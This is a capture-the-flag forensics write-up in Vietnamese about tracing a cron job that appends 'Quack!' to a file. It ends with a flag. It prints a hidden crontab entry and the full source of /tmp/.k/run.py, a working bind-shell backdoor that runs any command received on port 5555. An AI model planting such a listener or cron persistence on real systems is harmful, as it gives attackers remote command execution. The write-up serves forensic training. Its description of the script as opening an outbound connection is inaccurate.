Đề bài

Phân tích
Bài này cho mình một sự cố là có một file luôn bị ghi liên tục chuỗi "Quack" vào
Đầu tiên mình sẽ confirm đường dẫn
$ realpath /home/dream/Quack.txt && stat -c 'mtime=%y size=%s' /home/dream/Quack.txt
/home/dream/Quack.txt
mtime=2025-10-12 07:03:01.643619069 +0000 size=56
Sau khi xác nhận đường dẫn, mình sẽ soi cron xem nó bị tạo như nào
$ crontab -l || true
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * echo "Quack! " >> ~/Quack.txt
* * * * * python3 /tmp/.k/run.py
Nhận thấy nó sẽ sử dụng lệnh echo mỗi vài giây với echo "Quack! " >> ~/Quack.txt
Mình sẽ xem tiếp file run.py có gì
$ cat /tmp/.k/run.py
import socket
import subprocess
def main():
port = 5555
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', port))
server_socket.listen(1)
while True:
client_socket, client_addr = server_socket.accept()
command = b''
while True:
data = client_socket.recv(1024)
if not data:
break
command += data
if b'\n' in data or len(command) >= 1024:
break
if len(command) == 0:
client_socket.close()
continue
try:
result = subprocess.check_output(command.decode().strip(), shell=True).decode()
except subprocess.CalledProcessError as e:
result = str(e)
client_socket.send(result.encode())
client_socket.close()
if __name__ == "__main__":
main()
Thấy nó mở một kết nối ra ngoài với port 5555
Mình sẽ sử dụng tcpdump
tcpdump -i any -nn -A -s0 'tcp port 5555'
Flag
Flag: DH{11nuX_nEtWork_An@1Y2e}
'WriteUp > Forensics' 카테고리의 다른 글
| Tryna Crack? (0) | 2025.11.01 |
|---|---|
| [Forensics] CovertS - CSCV 2025 (0) | 2025.10.20 |
| [Forensics] Nimbus - POC CTF 2025 (0) | 2025.10.20 |
| [Forensics] FixPloit - POC CTF 2025 (0) | 2025.10.20 |
| [Forensics] Case AlphaS - CSCV 2025 (2) | 2025.10.19 |
